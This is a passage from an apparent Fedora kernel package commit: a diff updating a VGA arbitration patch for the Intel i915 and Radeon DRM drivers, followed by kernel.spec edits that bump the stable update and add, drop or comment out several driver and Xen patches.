@@ -120,7 +87,7 @@ index 9909505..5a49a18 100644
  static int i915_load_modeset_init(struct drm_device *dev,
  				  unsigned long prealloc_size,
  				  unsigned long agp_size)
-@@ -1057,6 +1071,11 @@ static int i915_load_modeset_init(struct drm_device *dev,
+@@ -1057,6 +1071,11 @@ static int i915_load_modeset_init(struct
  	if (ret)
  		DRM_INFO("failed to find VBIOS tables\n");
  
@@ -132,7 +99,7 @@ index 9909505..5a49a18 100644
  	ret = drm_irq_install(dev);
  	if (ret)
  		goto destroy_ringbuffer;
-@@ -1324,6 +1343,7 @@ int i915_driver_unload(struct drm_device *dev)
+@@ -1324,6 +1343,7 @@ int i915_driver_unload(struct drm_device
  
  	if (drm_core_check_feature(dev, DRIVER_MODESET)) {
  		drm_irq_uninstall(dev);
@@ -140,11 +107,10 @@ index 9909505..5a49a18 100644
  	}
  
  	if (dev->pdev->msi_enabled)
-diff --git a/drivers/gpu/drm/i915/i915_drv.h b/drivers/gpu/drm/i915/i915_drv.h
-index 77ed060..a0632f8 100644
---- a/drivers/gpu/drm/i915/i915_drv.h
-+++ b/drivers/gpu/drm/i915/i915_drv.h
-@@ -766,6 +766,7 @@ static inline void opregion_enable_asle(struct drm_device *dev) { return; }
+diff -up linux-2.6.31.noarch/drivers/gpu/drm/i915/i915_drv.h.da linux-2.6.31.noarch/drivers/gpu/drm/i915/i915_drv.h
+--- linux-2.6.31.noarch/drivers/gpu/drm/i915/i915_drv.h.da	2009-10-08 14:20:49.000000000 +1000
++++ linux-2.6.31.noarch/drivers/gpu/drm/i915/i915_drv.h	2009-10-08 14:21:08.000000000 +1000
+@@ -766,6 +766,7 @@ static inline void opregion_enable_asle(
  /* modesetting */
  extern void intel_modeset_init(struct drm_device *dev);
  extern void intel_modeset_cleanup(struct drm_device *dev);
@@ -152,10 +118,9 @@ index 77ed060..a0632f8 100644
  
  /**
   * Lock test for when it's just for synchronization of ring access.
-diff --git a/drivers/gpu/drm/i915/i915_reg.h b/drivers/gpu/drm/i915/i915_reg.h
-index e38cd21..3f79635 100644
---- a/drivers/gpu/drm/i915/i915_reg.h
-+++ b/drivers/gpu/drm/i915/i915_reg.h
+diff -up linux-2.6.31.noarch/drivers/gpu/drm/i915/i915_reg.h.da linux-2.6.31.noarch/drivers/gpu/drm/i915/i915_reg.h
+--- linux-2.6.31.noarch/drivers/gpu/drm/i915/i915_reg.h.da	2009-10-08 14:20:49.000000000 +1000
++++ linux-2.6.31.noarch/drivers/gpu/drm/i915/i915_reg.h	2009-10-08 14:21:08.000000000 +1000
 @@ -30,6 +30,7 @@
   * fb aperture size and the amount of pre-reserved memory.
   */
@@ -164,11 +129,10 @@ index e38cd21..3f79635 100644
  #define INTEL_GMCH_ENABLED	0x4
  #define INTEL_GMCH_MEM_MASK	0x1
  #define INTEL_GMCH_MEM_64M	0x1
-diff --git a/drivers/gpu/drm/i915/intel_display.c b/drivers/gpu/drm/i915/intel_display.c
-index 155719f..0227b16 100644
---- a/drivers/gpu/drm/i915/intel_display.c
-+++ b/drivers/gpu/drm/i915/intel_display.c
-@@ -3917,3 +3917,20 @@ struct drm_encoder *intel_best_encoder(struct drm_connector *connector)
+diff -up linux-2.6.31.noarch/drivers/gpu/drm/i915/intel_display.c.da linux-2.6.31.noarch/drivers/gpu/drm/i915/intel_display.c
+--- linux-2.6.31.noarch/drivers/gpu/drm/i915/intel_display.c.da	2009-10-08 14:20:49.000000000 +1000
++++ linux-2.6.31.noarch/drivers/gpu/drm/i915/intel_display.c	2009-10-08 14:21:08.000000000 +1000
+@@ -3928,3 +3928,20 @@ struct drm_encoder *intel_best_encoder(s
  
  	return &intel_output->enc;
  }
@@ -189,21 +153,19 @@ index 155719f..0227b16 100644
 +	pci_write_config_word(dev_priv->bridge_dev, INTEL_GMCH_CTRL, gmch_ctrl);
 +	return 0;
 +}
-diff --git a/drivers/gpu/drm/i915/intel_drv.h b/drivers/gpu/drm/i915/intel_drv.h
-index b9e47f1..3a0004f 100644
---- a/drivers/gpu/drm/i915/intel_drv.h
-+++ b/drivers/gpu/drm/i915/intel_drv.h
-@@ -178,4 +178,5 @@ extern int intel_framebuffer_create(struct drm_device *dev,
+diff -up linux-2.6.31.noarch/drivers/gpu/drm/i915/intel_drv.h.da linux-2.6.31.noarch/drivers/gpu/drm/i915/intel_drv.h
+--- linux-2.6.31.noarch/drivers/gpu/drm/i915/intel_drv.h.da	2009-10-08 14:20:49.000000000 +1000
++++ linux-2.6.31.noarch/drivers/gpu/drm/i915/intel_drv.h	2009-10-08 14:21:08.000000000 +1000
+@@ -181,4 +181,5 @@ extern int intel_framebuffer_create(stru
  				    struct drm_mode_fb_cmd *mode_cmd,
  				    struct drm_framebuffer **fb,
  				    struct drm_gem_object *obj);
 +
  #endif /* __INTEL_DRV_H__ */
-diff --git a/drivers/gpu/drm/radeon/r100.c b/drivers/gpu/drm/radeon/r100.c
-index 737970b..be51c5f 100644
---- a/drivers/gpu/drm/radeon/r100.c
-+++ b/drivers/gpu/drm/radeon/r100.c
-@@ -1955,6 +1955,20 @@ void r100_vram_init_sizes(struct radeon_device *rdev)
+diff -up linux-2.6.31.noarch/drivers/gpu/drm/radeon/r100.c.da linux-2.6.31.noarch/drivers/gpu/drm/radeon/r100.c
+--- linux-2.6.31.noarch/drivers/gpu/drm/radeon/r100.c.da	2009-10-08 14:20:49.000000000 +1000
++++ linux-2.6.31.noarch/drivers/gpu/drm/radeon/r100.c	2009-10-08 14:21:08.000000000 +1000
+@@ -1763,6 +1763,20 @@ void r100_vram_init_sizes(struct radeon_
  		rdev->mc.real_vram_size = rdev->mc.aper_size;
  }
  
@@ -224,11 +186,10 @@ index 737970b..be51c5f 100644
  void r100_vram_info(struct radeon_device *rdev)
  {
  	r100_vram_get_type(rdev);
-diff --git a/drivers/gpu/drm/radeon/r600.c b/drivers/gpu/drm/radeon/r600.c
-index 5f42fad..eab31c1 100644
---- a/drivers/gpu/drm/radeon/r600.c
-+++ b/drivers/gpu/drm/radeon/r600.c
-@@ -1499,6 +1499,20 @@ int r600_startup(struct radeon_device *rdev)
+diff -up linux-2.6.31.noarch/drivers/gpu/drm/radeon/r600.c.da linux-2.6.31.noarch/drivers/gpu/drm/radeon/r600.c
+--- linux-2.6.31.noarch/drivers/gpu/drm/radeon/r600.c.da	2009-10-08 14:20:49.000000000 +1000
++++ linux-2.6.31.noarch/drivers/gpu/drm/radeon/r600.c	2009-10-08 14:21:08.000000000 +1000
+@@ -1534,6 +1534,20 @@ int r600_startup(struct radeon_device *r
  	return 0;
  }
  
@@ -249,10 +210,9 @@ index 5f42fad..eab31c1 100644
  int r600_resume(struct radeon_device *rdev)
  {
  	int r;
-diff --git a/drivers/gpu/drm/radeon/r600d.h b/drivers/gpu/drm/radeon/r600d.h
-index 723295f..4a9028a 100644
---- a/drivers/gpu/drm/radeon/r600d.h
-+++ b/drivers/gpu/drm/radeon/r600d.h
+diff -up linux-2.6.31.noarch/drivers/gpu/drm/radeon/r600d.h.da linux-2.6.31.noarch/drivers/gpu/drm/radeon/r600d.h
+--- linux-2.6.31.noarch/drivers/gpu/drm/radeon/r600d.h.da	2009-10-08 14:20:49.000000000 +1000
++++ linux-2.6.31.noarch/drivers/gpu/drm/radeon/r600d.h	2009-10-08 14:21:08.000000000 +1000
 @@ -78,6 +78,7 @@
  #define CB_COLOR0_MASK                                  0x28100
  
@@ -261,103 +221,82 @@ index 723295f..4a9028a 100644
  #define	CP_STAT						0x8680
  #define	CP_COHER_BASE					0x85F8
  #define	CP_DEBUG					0xC1FC
-diff --git a/drivers/gpu/drm/radeon/radeon.h b/drivers/gpu/drm/radeon/radeon.h
-index 817af8e..c839b60 100644
---- a/drivers/gpu/drm/radeon/radeon.h
-+++ b/drivers/gpu/drm/radeon/radeon.h
-@@ -596,6 +596,7 @@ struct radeon_asic {
- 	int (*suspend)(struct radeon_device *rdev);
- 	void (*errata)(struct radeon_device *rdev);
- 	void (*vram_info)(struct radeon_device *rdev);
-+	void (*vga_set_state)(struct radeon_device *rdev, bool state);
- 	int (*gpu_reset)(struct radeon_device *rdev);
- 	int (*mc_init)(struct radeon_device *rdev);
- 	void (*mc_fini)(struct radeon_device *rdev);
-@@ -954,6 +955,7 @@ static inline void radeon_ring_write(struct radeon_device *rdev, uint32_t v)
- #define radeon_cs_parse(p) rdev->asic->cs_parse((p))
- #define radeon_errata(rdev) (rdev)->asic->errata((rdev))
- #define radeon_vram_info(rdev) (rdev)->asic->vram_info((rdev))
-+#define radeon_vga_set_state(rdev, state) (rdev)->asic->vga_set_state((rdev), (state))
- #define radeon_gpu_reset(rdev) (rdev)->asic->gpu_reset((rdev))
- #define radeon_mc_init(rdev) (rdev)->asic->mc_init((rdev))
- #define radeon_mc_fini(rdev) (rdev)->asic->mc_fini((rdev))
-diff --git a/drivers/gpu/drm/radeon/radeon_asic.h b/drivers/gpu/drm/radeon/radeon_asic.h
-index 5f2a9e6..8968f78 100644
---- a/drivers/gpu/drm/radeon/radeon_asic.h
-+++ b/drivers/gpu/drm/radeon/radeon_asic.h
-@@ -47,6 +47,7 @@ uint32_t r100_mm_rreg(struct radeon_device *rdev, uint32_t reg);
+diff -up linux-2.6.31.noarch/drivers/gpu/drm/radeon/radeon_asic.h.da linux-2.6.31.noarch/drivers/gpu/drm/radeon/radeon_asic.h
+--- linux-2.6.31.noarch/drivers/gpu/drm/radeon/radeon_asic.h.da	2009-10-08 14:20:49.000000000 +1000
++++ linux-2.6.31.noarch/drivers/gpu/drm/radeon/radeon_asic.h	2009-10-08 14:24:29.000000000 +1000
+@@ -47,6 +47,7 @@ extern int r100_suspend(struct radeon_de
+ extern int r100_resume(struct radeon_device *rdev);
+ uint32_t r100_mm_rreg(struct radeon_device *rdev, uint32_t reg);
  void r100_mm_wreg(struct radeon_device *rdev, uint32_t reg, uint32_t v);
- void r100_errata(struct radeon_device *rdev);
- void r100_vram_info(struct radeon_device *rdev);
 +void r100_vga_set_state(struct radeon_device *rdev, bool state);
  int r100_gpu_reset(struct radeon_device *rdev);
- int r100_mc_init(struct radeon_device *rdev);
- void r100_mc_fini(struct radeon_device *rdev);
-@@ -89,6 +90,7 @@ static struct radeon_asic r100_asic = {
- 	.init = &r100_init,
- 	.errata = &r100_errata,
- 	.vram_info = &r100_vram_info,
+ u32 r100_get_vblank_counter(struct radeon_device *rdev, int crtc);
+ void r100_pci_gart_tlb_flush(struct radeon_device *rdev);
+@@ -78,6 +79,7 @@ static struct radeon_asic r100_asic = {
+ 	.fini = &r100_fini,
+ 	.suspend = &r100_suspend,
+ 	.resume = &r100_resume,
 +	.vga_set_state = &r100_vga_set_state,
  	.gpu_reset = &r100_gpu_reset,
- 	.mc_init = &r100_mc_init,
- 	.mc_fini = &r100_mc_fini,
-@@ -158,6 +160,7 @@ static struct radeon_asic r300_asic = {
- 	.init = &r300_init,
- 	.errata = &r300_errata,
- 	.vram_info = &r300_vram_info,
+ 	.gart_tlb_flush = &r100_pci_gart_tlb_flush,
+ 	.gart_set_page = &r100_pci_gart_set_page,
+@@ -130,6 +132,7 @@ static struct radeon_asic r300_asic = {
+ 	.fini = &r300_fini,
+ 	.suspend = &r300_suspend,
+ 	.resume = &r300_resume,
 +	.vga_set_state = &r100_vga_set_state,
  	.gpu_reset = &r300_gpu_reset,
- 	.mc_init = &r300_mc_init,
- 	.mc_fini = &r300_mc_fini,
-@@ -208,6 +211,7 @@ static struct radeon_asic r420_asic = {
+ 	.gart_tlb_flush = &r100_pci_gart_tlb_flush,
+ 	.gart_set_page = &r100_pci_gart_set_page,
+@@ -166,6 +169,7 @@ static struct radeon_asic r420_asic = {
+ 	.fini = &r420_fini,
+ 	.suspend = &r420_suspend,
  	.resume = &r420_resume,
- 	.errata = NULL,
- 	.vram_info = NULL,
 +	.vga_set_state = &r100_vga_set_state,
  	.gpu_reset = &r300_gpu_reset,
- 	.mc_init = NULL,
- 	.mc_fini = NULL,
-@@ -262,6 +266,7 @@ static struct radeon_asic rs400_asic = {
- 	.init = &r300_init,
- 	.errata = &rs400_errata,
- 	.vram_info = &rs400_vram_info,
+ 	.gart_tlb_flush = &rv370_pcie_gart_tlb_flush,
+ 	.gart_set_page = &rv370_pcie_gart_set_page,
+@@ -207,6 +211,7 @@ static struct radeon_asic rs400_asic = {
+ 	.fini = &rs400_fini,
+ 	.suspend = &rs400_suspend,
+ 	.resume = &rs400_resume,
 +	.vga_set_state = &r100_vga_set_state,
  	.gpu_reset = &r300_gpu_reset,
- 	.mc_init = &rs400_mc_init,
- 	.mc_fini = &rs400_mc_fini,
-@@ -323,6 +328,7 @@ static struct radeon_asic rs600_asic = {
- 	.init = &rs600_init,
- 	.errata = &rs600_errata,
- 	.vram_info = &rs600_vram_info,
+ 	.gart_tlb_flush = &rs400_gart_tlb_flush,
+ 	.gart_set_page = &rs400_gart_set_page,
+@@ -252,6 +257,7 @@ static struct radeon_asic rs600_asic = {
+ 	.fini = &rs600_fini,
+ 	.suspend = &rs600_suspend,
+ 	.resume = &rs600_resume,
 +	.vga_set_state = &r100_vga_set_state,
  	.gpu_reset = &r300_gpu_reset,
- 	.mc_init = &rs600_mc_init,
- 	.mc_fini = &rs600_mc_fini,
-@@ -372,6 +378,7 @@ static struct radeon_asic rs690_asic = {
- 	.init = &rs600_init,
- 	.errata = &rs690_errata,
- 	.vram_info = &rs690_vram_info,
+ 	.gart_tlb_flush = &rs600_gart_tlb_flush,
+ 	.gart_set_page = &rs600_gart_set_page,
+@@ -290,6 +296,7 @@ static struct radeon_asic rs690_asic = {
+ 	.fini = &rs690_fini,
+ 	.suspend = &rs690_suspend,
+ 	.resume = &rs690_resume,
 +	.vga_set_state = &r100_vga_set_state,
  	.gpu_reset = &r300_gpu_reset,
- 	.mc_init = &rs690_mc_init,
- 	.mc_fini = &rs690_mc_fini,
-@@ -428,6 +435,7 @@ static struct radeon_asic rv515_asic = {
- 	.init = &rv515_init,
- 	.errata = &rv515_errata,
- 	.vram_info = &rv515_vram_info,
+ 	.gart_tlb_flush = &rs400_gart_tlb_flush,
+ 	.gart_set_page = &rs400_gart_set_page,
+@@ -334,6 +341,7 @@ static struct radeon_asic rv515_asic = {
+ 	.fini = &rv515_fini,
+ 	.suspend = &rv515_suspend,
+ 	.resume = &rv515_resume,
 +	.vga_set_state = &r100_vga_set_state,
  	.gpu_reset = &rv515_gpu_reset,
- 	.mc_init = &rv515_mc_init,
- 	.mc_fini = &rv515_mc_fini,
-@@ -477,6 +485,7 @@ static struct radeon_asic r520_asic = {
- 	.init = &rv515_init,
- 	.errata = &r520_errata,
- 	.vram_info = &r520_vram_info,
+ 	.gart_tlb_flush = &rv370_pcie_gart_tlb_flush,
+ 	.gart_set_page = &rv370_pcie_gart_set_page,
+@@ -369,6 +377,7 @@ static struct radeon_asic r520_asic = {
+ 	.fini = &rv515_fini,
+ 	.suspend = &rv515_suspend,
+ 	.resume = &r520_resume,
 +	.vga_set_state = &r100_vga_set_state,
  	.gpu_reset = &rv515_gpu_reset,
- 	.mc_init = &r520_mc_init,
- 	.mc_fini = &r520_mc_fini,
-@@ -520,6 +529,7 @@ int r600_init(struct radeon_device *rdev);
+ 	.gart_tlb_flush = &rv370_pcie_gart_tlb_flush,
+ 	.gart_set_page = &rv370_pcie_gart_set_page,
+@@ -400,6 +409,7 @@ int r600_init(struct radeon_device *rdev
  void r600_fini(struct radeon_device *rdev);
  int r600_suspend(struct radeon_device *rdev);
  int r600_resume(struct radeon_device *rdev);
@@ -365,26 +304,25 @@ index 5f2a9e6..8968f78 100644
  int r600_wb_init(struct radeon_device *rdev);
  void r600_wb_fini(struct radeon_device *rdev);
  void r600_cp_commit(struct radeon_device *rdev);
-@@ -556,6 +566,7 @@ static struct radeon_asic r600_asic = {
+@@ -432,6 +442,7 @@ static struct radeon_asic r600_asic = {
+ 	.fini = &r600_fini,
+ 	.suspend = &r600_suspend,
  	.resume = &r600_resume,
- 	.cp_commit = &r600_cp_commit,
- 	.vram_info = NULL,
 +	.vga_set_state = &r600_vga_set_state,
+ 	.cp_commit = &r600_cp_commit,
  	.gpu_reset = &r600_gpu_reset,
- 	.mc_init = NULL,
- 	.mc_fini = NULL,
-@@ -606,6 +617,7 @@ static struct radeon_asic rv770_asic = {
+ 	.gart_tlb_flush = &r600_pcie_gart_tlb_flush,
+@@ -468,6 +479,7 @@ static struct radeon_asic rv770_asic = {
+ 	.fini = &rv770_fini,
+ 	.suspend = &rv770_suspend,
+ 	.resume = &rv770_resume,
++	.vga_set_state = &r600_vga_set_state,
  	.cp_commit = &r600_cp_commit,
- 	.vram_info = NULL,
  	.gpu_reset = &rv770_gpu_reset,
-+	.vga_set_state = &r600_vga_set_state,
- 	.mc_init = NULL,
- 	.mc_fini = NULL,
- 	.wb_init = &r600_wb_init,
-diff --git a/drivers/gpu/drm/radeon/radeon_device.c b/drivers/gpu/drm/radeon/radeon_device.c
-index 8a40c61..daf5db7 100644
---- a/drivers/gpu/drm/radeon/radeon_device.c
-+++ b/drivers/gpu/drm/radeon/radeon_device.c
+ 	.gart_tlb_flush = &r600_pcie_gart_tlb_flush,
+diff -up linux-2.6.31.noarch/drivers/gpu/drm/radeon/radeon_device.c.da linux-2.6.31.noarch/drivers/gpu/drm/radeon/radeon_device.c
+--- linux-2.6.31.noarch/drivers/gpu/drm/radeon/radeon_device.c.da	2009-10-08 14:20:49.000000000 +1000
++++ linux-2.6.31.noarch/drivers/gpu/drm/radeon/radeon_device.c	2009-10-08 14:25:26.000000000 +1000
 @@ -29,6 +29,7 @@
  #include <drm/drmP.h>
  #include <drm/drm_crtc_helper.h>
@@ -393,8 +331,8 @@ index 8a40c61..daf5db7 100644
  #include "radeon_reg.h"
  #include "radeon.h"
  #include "radeon_asic.h"
-@@ -480,7 +481,18 @@ void radeon_combios_fini(struct radeon_device *rdev)
- {
+@@ -374,7 +375,18 @@ int radeon_asic_init(struct radeon_devic
+ 	return 0;
  }
  
 +/* if we get transitioned to only one device, tak VGA back */
@@ -410,42 +348,51 @@ index 8a40c61..daf5db7 100644
 +		return VGA_RSRC_NORMAL_IO | VGA_RSRC_NORMAL_MEM;
 +}
  /*
-  * Radeon device.
+  * Wrapper around modesetting bits.
   */
-@@ -578,6 +590,13 @@ int radeon_device_init(struct radeon_device *rdev,
- 	if (r) {
- 		return r;
- 	}
-+
+@@ -568,6 +580,12 @@ int radeon_device_init(struct radeon_dev
+ 	DRM_INFO("register mmio base: 0x%08X\n", (uint32_t)rdev->rmmio_base);
+ 	DRM_INFO("register mmio size: %u\n", (unsigned)rdev->rmmio_size);
+ 
 +	/* if we have > 1 VGA cards, then disable the radeon VGA resources */
 +	r = vga_client_register(rdev->pdev, rdev, NULL, radeon_vga_set_decode);
 +	if (r) {
 +		return -EINVAL;
 +	}
 +
- 	if (!rdev->new_init_path) {
- 		/* Setup errata flags */
- 		radeon_errata(rdev);
-@@ -586,7 +605,6 @@ int radeon_device_init(struct radeon_device *rdev,
- 		/* Initialize surface registers */
- 		radeon_surface_init(rdev);
- 
--		/* TODO: disable VGA need to use VGA request */
- 		/* BIOS*/
- 		if (!radeon_get_bios(rdev)) {
- 			if (ASIC_IS_AVIVO(rdev))
-@@ -697,6 +715,7 @@ void radeon_device_fini(struct radeon_device *rdev)
- 		radeon_agp_fini(rdev);
- #endif
- 		radeon_irq_kms_fini(rdev);
-+		vga_client_register(rdev->pdev, NULL, NULL, NULL);
- 		radeon_fence_driver_fini(rdev);
- 		radeon_clocks_fini(rdev);
- 		radeon_object_fini(rdev);
-diff --git a/include/drm/drmP.h b/include/drm/drmP.h
-index eeefb63..c8e64bb 100644
---- a/include/drm/drmP.h
-+++ b/include/drm/drmP.h
+ 	r = radeon_init(rdev);
+ 	if (r)
+ 		return r;
+@@ -597,6 +615,7 @@ void radeon_device_fini(struct radeon_de
+ 	rdev->shutdown = true;
+ 	/* Order matter so becarefull if you rearrange anythings */
+ 	radeon_fini(rdev);
++	vga_client_register(rdev->pdev, NULL, NULL, NULL);
+ 	iounmap(rdev->rmmio);
+ 	rdev->rmmio = NULL;
+ }
+diff -up linux-2.6.31.noarch/drivers/gpu/drm/radeon/radeon.h.da linux-2.6.31.noarch/drivers/gpu/drm/radeon/radeon.h
+--- linux-2.6.31.noarch/drivers/gpu/drm/radeon/radeon.h.da	2009-10-08 14:20:49.000000000 +1000
++++ linux-2.6.31.noarch/drivers/gpu/drm/radeon/radeon.h	2009-10-08 14:22:15.000000000 +1000
+@@ -590,6 +590,7 @@ struct radeon_asic {
+ 	void (*fini)(struct radeon_device *rdev);
+ 	int (*resume)(struct radeon_device *rdev);
+ 	int (*suspend)(struct radeon_device *rdev);
++	void (*vga_set_state)(struct radeon_device *rdev, bool state);
+ 	int (*gpu_reset)(struct radeon_device *rdev);
+ 	void (*gart_tlb_flush)(struct radeon_device *rdev);
+ 	int (*gart_set_page)(struct radeon_device *rdev, int i, uint64_t addr);
+@@ -935,6 +936,7 @@ static inline void radeon_ring_write(str
+ #define radeon_fini(rdev) (rdev)->asic->fini((rdev))
+ #define radeon_resume(rdev) (rdev)->asic->resume((rdev))
+ #define radeon_suspend(rdev) (rdev)->asic->suspend((rdev))
++#define radeon_vga_set_state(rdev, state) (rdev)->asic->vga_set_state((rdev), (state))
+ #define radeon_cs_parse(p) rdev->asic->cs_parse((p))
+ #define radeon_gpu_reset(rdev) (rdev)->asic->gpu_reset((rdev))
+ #define radeon_gart_tlb_flush(rdev) (rdev)->asic->gart_tlb_flush((rdev))
+diff -up linux-2.6.31.noarch/include/drm/drmP.h.da linux-2.6.31.noarch/include/drm/drmP.h
+--- linux-2.6.31.noarch/include/drm/drmP.h.da	2009-10-08 14:20:49.000000000 +1000
++++ linux-2.6.31.noarch/include/drm/drmP.h	2009-10-08 14:21:08.000000000 +1000
 @@ -810,6 +810,9 @@ struct drm_driver {
  	int (*gem_init_object) (struct drm_gem_object *obj);
  	void (*gem_free_object) (struct drm_gem_object *obj);
@@ -456,6 +403,3 @@ index eeefb63..c8e64bb 100644
  	/* Driver private ops for this object */
  	struct vm_operations_struct *gem_vm_ops;
  
--- 
-1.6.4.2
-


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/kernel.spec,v
retrieving revision 1.1294.2.70
retrieving revision 1.1294.2.71
diff -u -p -r1.1294.2.70 -r1.1294.2.71
--- kernel.spec	26 Sep 2009 15:27:53 -0000	1.1294.2.70
+++ kernel.spec	10 Oct 2009 15:04:13 -0000	1.1294.2.71
@@ -41,7 +41,7 @@ Summary: The Linux kernel
 %if 0%{?released_kernel}
 
 # Do we have a -stable update to apply?
-%define stable_update 1
+%define stable_update 3
 # Is it a -stable RC?
 %define stable_rc 0
 # Set rpm version accordingly
@@ -633,7 +633,6 @@ Patch260: linux-2.6-debug-nmi-timeout.pa
 Patch270: linux-2.6-debug-taint-vm.patch
 Patch280: linux-2.6-debug-spinlock-taint.patch
 Patch300: linux-2.6-driver-level-usb-autosuspend.diff
-Patch301: linux-2.6-fix-usb-serial-autosuspend.diff
 Patch302: linux-2.6-qcserial-autosuspend.diff
 Patch303: linux-2.6-bluetooth-autosuspend.diff
 Patch304: linux-2.6-usb-uvc-autosuspend.diff
@@ -653,6 +652,8 @@ Patch460: linux-2.6-serial-460800.patch
 
 Patch470: die-floppy-die.patch
 
+Patch500: linux-2.6.31-copy_from_user-bounds.patch
+
 Patch510: linux-2.6-silence-noise.patch
 Patch520: linux-2.6.30-hush-rom-warning.patch
 Patch530: linux-2.6-silence-fbcon-logo.patch
@@ -667,13 +668,7 @@ Patch611: alsa-tell-user-that-stream-to-
 Patch670: linux-2.6-ata-quirk.patch
 Patch671: linux-2.6-ahci-export-capabilities.patch
 
-Patch680: linux-2.6-iwlagn-modify-digital-SVR-for-1000.patch
-Patch681: linux-2.6-iwlwifi-update-1000-series-API-version-to-match-firmware.patch
-Patch682: linux-2.6-iwlwifi-Handle-new-firmware-file-with-ucode-build-number-in-header.patch
-Patch683: linux-2.6-iwlwifi-fix-debugfs-buffer-handling.patch
-Patch684: linux-2.6-iwlwifi-traverse-linklist-to-find-the-valid-OTP-block.patch
-Patch685: linux-2.6-iwlwifi-fix-unloading-driver-while-scanning.patch
-Patch686: linux-2.6-iwlwifi-remove-deprecated-6000-series-adapters.patch
+Patch687: linux-2.6-iwlwifi-reduce-noise-when-skb-allocation-fails.patch
 
 Patch700: linux-2.6.31-nx-data.patch
 Patch701: linux-2.6.31-modules-ro-nx.patch
@@ -682,8 +677,6 @@ Patch800: linux-2.6-crash-driver.patch
 
 Patch900: linux-2.6-pci-cacheline-sizing.patch
 
-Patch1000: linux-2.6.31-cpufreq-powernow-k8-oops.patch
-
 Patch1100: linux-2.6.31-cpuidle-faster-io.patch
 
 Patch1515: lirc-2.6.31.patch
@@ -695,14 +688,14 @@ Patch1550: linux-2.6-ksm.patch
 Patch1551: linux-2.6-ksm-kvm.patch
 Patch1552: linux-2.6-ksm-updates.patch
 Patch1553: linux-2.6-ksm-fix-munlock.patch
-Patch1578: linux-2.6-xen-stack-protector-fix.patch
 Patch1579: linux-2.6-virtio_blk-revert-QUEUE_FLAG_VIRT-addition.patch
-Patch1580: linux-2.6-xen-check-efer-fix.patch
-Patch1581: linux-2.6-xen-spinlock-enable-interrupts-only-when-blocking.patch
-Patch1582: linux-2.6-xen-spinlock-stronger-barrier.patch
+Patch1583: linux-2.6-xen-fix-is_disconnected_device-exists_disconnected_device.patch
+Patch1584: linux-2.6-xen-improvement-to-wait_for_devices.patch
+Patch1585: linux-2.6-xen-increase-device-connection-timeout.patch
+Patch1586: linux-2.6-virtio_blk-add-support-for-cache-flush.patch
 
 # nouveau + drm fixes
-Patch1812: drm-next-8ef8678c8.patch
+Patch1812: drm-next-d4ac6a05.patch
 Patch1813: drm-radeon-pm.patch
 Patch1814: drm-nouveau.patch
 Patch1818: drm-i915-resume-force-mode.patch
@@ -749,9 +742,8 @@ Patch12012: linux-2.6-rtc-show-hctosys.p
 Patch12013: linux-2.6-rfkill-all.patch
 Patch12014: linux-2.6-selinux-module-load-perms.patch
 
-Patch13000: ppc-hates-my-family-and-swore-revenge.patch
-
 # patches headed for -stable
+Patch13000: linux-2.6-frace-fixes.patch
 
 # Raid10 lockdep fix
 Patch14002: linux-2.6-raidlockdep.patch
@@ -1239,7 +1231,6 @@ ApplyPatch linux-2.6-nfs4-ver4opt.patch
 
 # USB
 ApplyPatch linux-2.6-driver-level-usb-autosuspend.diff
-ApplyPatch linux-2.6-fix-usb-serial-autosuspend.diff
 ApplyPatch linux-2.6-qcserial-autosuspend.diff
 ApplyPatch linux-2.6-bluetooth-autosuspend.diff
 ApplyPatch linux-2.6-usb-uvc-autosuspend.diff
@@ -1288,6 +1279,10 @@ ApplyPatch linux-2.6-input-kill-stupid-m
 # stop floppy.ko from autoloading during udev...
 ApplyPatch die-floppy-die.patch
 
+# make copy_from_user to a stack slot provable right
+# hosed stuff, just drop this close to beta
+#ApplyPatch linux-2.6.31-copy_from_user-bounds.patch
+
 # Get away from having to poll Toshibas
 #ApplyPatch linux-2.6-input-fix-toshiba-hotkeys.patch
 
@@ -1317,16 +1312,8 @@ ApplyPatch linux-2.6-ata-quirk.patch
 # Make it possible to identify non-hotplug SATA ports
 ApplyPatch linux-2.6-ahci-export-capabilities.patch
 
-# iwl1000 support patches
-ApplyPatch linux-2.6-iwlagn-modify-digital-SVR-for-1000.patch
-ApplyPatch linux-2.6-iwlwifi-Handle-new-firmware-file-with-ucode-build-number-in-header.patch
-ApplyPatch linux-2.6-iwlwifi-update-1000-series-API-version-to-match-firmware.patch
-ApplyPatch linux-2.6-iwlwifi-fix-debugfs-buffer-handling.patch
-ApplyPatch linux-2.6-iwlwifi-traverse-linklist-to-find-the-valid-OTP-block.patch
-ApplyPatch linux-2.6-iwlwifi-fix-unloading-driver-while-scanning.patch
-
-# remove support for deprecated iwl6000 parts
-ApplyPatch linux-2.6-iwlwifi-remove-deprecated-6000-series-adapters.patch
+# iwlagn quiet
+ApplyPatch linux-2.6-iwlwifi-reduce-noise-when-skb-allocation-fails.patch
 
 # Mark kernel data as NX
 ApplyPatch linux-2.6.31-nx-data.patch
@@ -1340,9 +1327,6 @@ ApplyPatch linux-2.6-crash-driver.patch
 # Determine cacheline sizes in a generic manner.
 ApplyPatch linux-2.6-pci-cacheline-sizing.patch
 
-# fix upstream bug #13780
-ApplyPatch linux-2.6.31-cpufreq-powernow-k8-oops.patch
-
 # cpuidle: Fix the menu governor to boost IO performance
 ApplyPatch linux-2.6.31-cpuidle-faster-io.patch
 
@@ -1361,13 +1345,11 @@ ApplyPatch linux-2.6-ksm-fix-munlock.pat
 ApplyPatch linux-2.6-ksm-kvm.patch
 
 # Assorted Virt Fixes
-#ApplyPatch linux-2.6-xen-stack-protector-fix.patch
 ApplyPatch linux-2.6-virtio_blk-revert-QUEUE_FLAG_VIRT-addition.patch
-#ApplyPatch linux-2.6-xen-check-efer-fix.patch
-
-# improve xen spinlock scalability
-#ApplyPatch linux-2.6-xen-spinlock-enable-interrupts-only-when-blocking.patch
-#ApplyPatch linux-2.6-xen-spinlock-stronger-barrier.patch
+#ApplyPatch linux-2.6-xen-fix-is_disconnected_device-exists_disconnected_device.patch
+#ApplyPatch linux-2.6-xen-improvement-to-wait_for_devices.patch
+#ApplyPatch linux-2.6-xen-increase-device-connection-timeout.patch
+ApplyPatch linux-2.6-virtio_blk-add-support-for-cache-flush.patch
 
 # Fix block I/O errors in KVM
 ApplyPatch linux-2.6-block-silently-error-unsupported-empty-barriers-too.patch
@@ -1375,7 +1357,7 @@ ApplyPatch linux-2.6-block-silently-erro
 ApplyPatch linux-2.6-e1000-ich9.patch
 
 # Nouveau DRM + drm fixes
